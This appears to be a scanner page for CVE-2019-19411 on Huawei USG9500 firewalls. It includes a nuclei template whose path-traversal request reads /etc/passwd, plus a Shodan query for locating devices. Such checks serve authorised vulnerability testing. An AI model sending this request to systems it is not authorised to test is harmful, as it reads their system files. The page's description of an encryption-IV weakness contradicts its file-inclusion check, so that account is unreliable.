Huawei Firewall - Local File Inclusion

lowseverity

3.7CVSS score

1.2%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.

Impact

Attackers with network access can exploit the weakened encryption to potentially recover confidential information that was meant to be protected by the encryption algorithm.

Fix

Upgrade to a patched firmware version provided by Huawei or apply vendor-recommended mitigations.

How to confirm it

Send: GET {{BaseURL}}/umweb/../etc/passwd
Positive when: matches /root:[x*]:0:0:/ AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19411 -u <target>

The full check

id: CVE-2019-19411

info:
  name: Huawei Firewall - Local File Inclusion
  author: taielab
  severity: low
  description: |
    USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.
  impact: |
    Attackers with network access can exploit the weakened encryption to potentially recover confidential information that was meant to be protected by the encryption algorithm.
  remediation: |
    Upgrade to a patched firmware version provided by Huawei or apply vendor-recommended mitigations.
  reference:
    - https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200115-01-firewall-en
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 3.7
    cve-id: CVE-2019-19411
    cwe-id: CWE-665
    epss-score: 0.01238
    epss-percentile: 0.69346
    cpe: cpe:2.3:h:huawei:usg9500:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: huawei
    product: usg9500
    shodan-query: title:"HUAWEI"
  tags: cve,cve2019,huawei,firewall,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/umweb/../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200115-01-firewall-en

Use this check only on systems you are authorised to test. Where the data comes from